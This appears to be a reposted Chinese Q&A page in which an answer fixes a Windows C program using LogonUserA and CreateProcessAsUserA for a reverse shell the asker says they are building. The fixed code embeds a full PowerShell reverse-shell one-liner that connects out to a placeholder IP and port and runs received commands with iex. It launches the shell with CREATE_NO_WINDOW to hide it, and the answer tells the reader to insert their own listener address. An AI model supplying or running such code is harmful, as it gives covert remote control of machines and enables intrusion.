You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用LogonUserA和CreateProcessAsUserA创建进程时程序立即退出的问题

CreateProcessAsUserA 创建cmd.exe后立即退出的问题排查与修复

我使用CreateProcess()时可正常运行,但改用CreateProcessAsUserA以获取管理员权限创建cmd.exe进程时,控制台加载后立即退出。我需要将此功能集成到反向Shell中,请问代码存在什么问题?

用户提供的代码:

LPCSTR  lpszUsername = "admin user";
LPCSTR  lpszDomain =  "DESKTOP-H60GO83";
LPCSTR  lpszPassword = "password";
DWORD   dwLogonType = LOGON32_LOGON_INTERACTIVE;
DWORD   dwLogonProvider = LOGON32_PROVIDER_WINNT40;
PHANDLE hToken;

LogonUserA(
    lpszUsername,
    lpszDomain,
    lpszPassword,
    dwLogonType,
    dwLogonProvider,
    hToken);
      
memset(&sui, 0, sizeof(sui));
  
sui.cb = sizeof(sui);
     
LPTSTR lpApplicationName = "C:\\Windows\\System32\\cmd.exe ";
      
CreateProcessAsUserA(
    hToken,
    lpApplicationName,
    NULL,
    NULL,
    NULL,
    TRUE,
    NULL,
    NULL,
    NULL,
    &sui,
    &pi
);

代码存在的核心问题

  • 令牌指针未初始化且未检查登录结果:
    原代码中PHANDLE hToken是未初始化的野指针,直接传给LogonUserA会导致内存访问错误。正确做法是定义HANDLE hToken = NULL;,再传入&hToken。同时必须检查LogonUserA的返回值,确认令牌获取成功,否则后续创建进程必然失败。

  • CreateProcessAsUserA参数错误:

    1. lpApplicationName末尾多了空格:"C:\\Windows\\System32\\cmd.exe "中的空格会导致系统无法匹配到正确的可执行文件,必须删除末尾空格。
    2. 第6个参数dwCreationFlags传了TRUE:该参数是DWORD类型,TRUE对应的数值1是CREATE_NEW_CONSOLE标志,但反向Shell场景通常需要CREATE_NO_WINDOW隐藏控制台;即使保留控制台,也应显式传入对应宏,避免类型混淆。
    3. 未声明sui和pi变量:代码中使用了STARTUPINFO sui和PROCESS_INFORMATION pi但未提前定义,编译会直接报错。
  • 未适配反向Shell的进程启动逻辑:
    直接启动cmd.exe会因无交互任务自动退出,反向Shell需要通过命令行参数传递具体的反向连接指令,让cmd.exe执行后保持连接状态。

修复后的代码

#include <windows.h>
#include <stdio.h>

int main() {
    LPCSTR lpszUsername = "admin user";
    LPCSTR lpszDomain = "DESKTOP-H60GO83";
    LPCSTR lpszPassword = "password";
    DWORD dwLogonType = LOGON32_LOGON_INTERACTIVE;
    DWORD dwLogonProvider = LOGON32_PROVIDER_DEFAULT; // 优先使用默认提供者
    HANDLE hToken = NULL;

    // 检查登录令牌获取是否成功
    if (!LogonUserA(
        lpszUsername,
        lpszDomain,
        lpszPassword,
        dwLogonType,
        dwLogonProvider,
        &hToken)) {
        printf("LogonUserA失败,错误码: %d\n", GetLastError());
        return 1;
    }

    STARTUPINFO sui;
    PROCESS_INFORMATION pi;
    memset(&sui, 0, sizeof(sui));
    sui.cb = sizeof(sui);

    // 正确的cmd路径,无多余空格
    LPCSTR lpApplicationName = "C:\\Windows\\System32\\cmd.exe";
    // 替换为你的反向Shell指令,比如powershell反向连接命令
    LPCSTR lpCommandLine = "cmd.exe /c powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('你的IP', 端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$x = ($error[0] | Out-String);if($x){$sendback2 = $x + 'PS ' + (pwd).Path + '> '};$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";

    // 创建进程并检查结果
    if (!CreateProcessAsUserA(
        hToken,
        lpApplicationName,
        (LPSTR)lpCommandLine,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW, // 反向Shell隐藏控制台
        NULL,
        NULL,
        &sui,
        &pi)) {
        printf("CreateProcessAsUserA失败,错误码: %d\n", GetLastError());
        CloseHandle(hToken);
        return 1;
    }

    // 关闭不再需要的句柄
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hToken);

    return 0;
}

额外说明

  1. 确保调用进程拥有SE_TCB_NAME权限,或当前用户具备登录目标管理员账户的权限,否则LogonUserA会调用失败。
  2. 所有API调用后必须检查返回值,通过GetLastError()获取错误码,快速定位问题。
  3. 反向Shell指令需根据实际需求调整IP和端口,确保目标机器能连接到你的监听端。

内容的提问来源于stack exchange,提问作者Marsha4Coding

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.20 09:51:27